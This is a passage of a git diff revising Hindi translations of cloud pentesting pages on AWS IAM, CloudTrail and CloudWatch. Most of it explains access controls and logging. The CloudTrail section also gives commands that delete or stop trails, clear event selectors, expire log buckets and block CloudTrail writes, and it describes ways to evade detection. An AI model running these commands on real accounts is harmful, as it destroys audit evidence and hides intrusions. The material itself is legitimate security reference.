करते**। +ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**। यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है। @@ -210,13 +210,13 @@ IAM सीमाएँ **एक उपयोगकर्ता या भूम एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों के स्तर को इंगित करती है**। तो, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा इंगित करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है। -**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं। +**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकता से अधिक अनुमतियाँ नहीं हैं। ### सत्र नीतियाँ -एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को अपनाया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)। +एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)। -यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका को अपनाने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है। +यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है। ```bash aws sts assume-role \ --role-arn \ @@ -233,7 +233,7 @@ aws sts assume-role \ पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स को एक मान्य IAM उपयोगकर्ता खाते से प्रदान किए।\ एक पहचान प्रदाता का उदाहरण आपके अपने कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी। -इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा। +इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा। हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका को मानने की अनुमति देगा। @@ -253,19 +253,19 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
-पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें संगठन के **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**। +पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**। एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बनाई जाएगी**। #### AwsSSOInlinePolicy -यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इन अनुमतियों को **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति में रखेंगे। +यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएँ**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी। -इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**। +इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**। ### क्रॉस खाता विश्वास और भूमिकाएँ -**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\ +**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\ यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ें न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे। ### AWS सरल AD @@ -282,21 +282,23 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ #### वेब संघ या OpenID प्रमाणीकरण -ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच प्रदान नहीं करता है, केवल AWS के भीतर संसाधनों तक पहुँच प्रदान करता है। +ऐप अस्थायी क्रेडेंशियल्स बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच नहीं देता, केवल AWS के भीतर संसाधनों तक पहुँच देता है। ### अन्य IAM विकल्प -- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को **सेट कर सकते हैं**। +- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं। - आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं। -AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**। +AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें। ### IAM ID उपसर्ग -[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के आधार पर पा सकते हैं: +[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के अनुसार पा सकते हैं: -| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| पहचानकर्ता कोड | विवरण | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + | ACCA | संदर्भ-विशिष्ट क्रेडेंशियल | | AGPA | उपयोगकर्ता समूह | | AIDA | IAM उपयोगकर्ता | @@ -311,7 +313,7 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क ### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ -निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा के पढ़ने की पहुँच प्रदान करते हैं: +निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा की पढ़ने की पहुँच प्रदान करते हैं: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 896e87e15..adaca17c4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -19,12 +19,12 @@ AWS CloudTrail **आपके AWS वातावरण के भीतर ग - अनुरोध पैरामीटर: `requestParameters` - प्रतिक्रिया तत्व: `responseElements` -घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में भेजी जाती हैं।**\ +घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में वितरित की जाती हैं।**\ CloudTrail के लॉग को **खातों और क्षेत्रों के बीच समेकित किया जा सकता है।**\ -CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको भेजे जाने के बाद अपरिवर्तित रही हैं।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\ +CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित रही हैं जब से CloudTrail ने उन्हें आपको वितरित किया।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\ जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ। -लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं। +लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं। लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**: @@ -44,14 +44,14 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप ### कई खातों से लॉग समेकित करना -- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें भेजी जाना चाहते हैं +- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं - गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है - अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते। > [!CAUTION] -> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं और विभिन्न बकेट में समान (या विभिन्न) लॉग को स्टोर कर सकते हैं। +> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं, जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं। ### सभी संगठन खातों से 1 में CloudTrail @@ -59,21 +59,21 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
-इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)। +इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और 1 खाते में लॉग को केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)। ### लॉग फ़ाइलों की जांच -आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं हुआ है। +आप यह जांच सकते हैं कि लॉग में परिवर्तन नहीं किया गया है। ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` ### Logs to CloudWatch **CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\ -ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी: +ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS की डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी: - CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है -- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में वितरित करें +- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में भेजता है ### Event History @@ -83,20 +83,20 @@ CloudTrail Event History आपको एक तालिका में रि ### Insights -**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल्स से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**। +**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**। Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security - -| CloudTrail Log File Integrity |
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
    • प्राइवेट की अमेज़न के पास है
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
| +| Control Name | Implementation Details | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| CloudTrail Log File Integrity |
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
    • प्राइवेट की अमेज़न के पास है
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
| | Stop unauthorized access |
  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच
    • ऑडिटर्स —> केवल पढ़ने की पहुंच
  • लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
| -| Prevent log files from being deleted |
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ मान्य करें
| +| Prevent log files from being deleted |
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ सत्यापित करें
| ## Access Advisor -AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS API कॉल और संबंधित घटनाओं का एक इतिहास कैप्चर करता है जो AWS खाते में की गई हैं। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और संभावित रूप से वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं। +AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं। > [!TIP] > इसलिए, Access Advisor **उपयोगकर्ताओं को दी गई अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके @@ -136,7 +136,7 @@ S3BucketName="random" ) print(response) ``` -अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें: +अधिक जानकारी के लिए CSV इनजेक्शंस के बारे में पृष्ठ देखें: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html @@ -204,11 +204,11 @@ Check more information in the [**orginal research**](https://medium.com/@TalBeer ### तीसरी अवसंरचना तक पहुँच -कुछ AWS सेवाएँ **कुछ अवसंरचना** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS) उत्पन्न करेंगी। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा। +कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा। इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**। -अधिक जानकारी में: +अधिक जानकारी के लिए: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md @@ -220,7 +220,7 @@ Check more information in the [**orginal research**](https://medium.com/@TalBeer ```bash aws cloudtrail delete-trail --name [trail-name] ``` -#### स्टॉप ट्रेल्स +#### ट्रेल्स रोकें ```bash aws cloudtrail stop-logging --name [trail-name] ``` @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail insights **लिखने के इवेंट की जांच नहीं करेगा** उदाहरण के लिए)। +पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)। आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं। @@ -244,7 +244,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### बकेट कॉन्फ़िगरेशन को संशोधित करना +### बकेट कॉन्फ़िगरेशन में संशोधन - S3 बकेट को हटाएँ - बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 3be0f9dfc..ac3ae64f2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -6,7 +6,7 @@ **CloudWatch** **निगरानी** और संचालन **डेटा** को लॉग/मेट्रिक्स/इवेंट के रूप में एकत्र करता है, जो **AWS संसाधनों**, अनुप्रयोगों और सेवाओं का **एकीकृत दृश्य** प्रदान करता है।\ CloudWatch लॉग इवेंट में **प्रत्येक लॉग लाइन पर 256KB का आकार सीमा** होती है।\ -यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य बना सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है। +यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य में दिखा सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है। आप उदाहरण के लिए CloudTrail से लॉग की निगरानी कर सकते हैं। जिन घटनाओं की निगरानी की जाती है: @@ -27,37 +27,37 @@ CloudWatch लॉग इवेंट में **प्रत्येक लॉ ### Metrics -मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरण से एकत्रित किया जा सकता है। +मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरणों से एकत्र किया जा सकता है। - **उदाहरण**: CPUUtilization, NetworkIn, DiskReadOps। ### 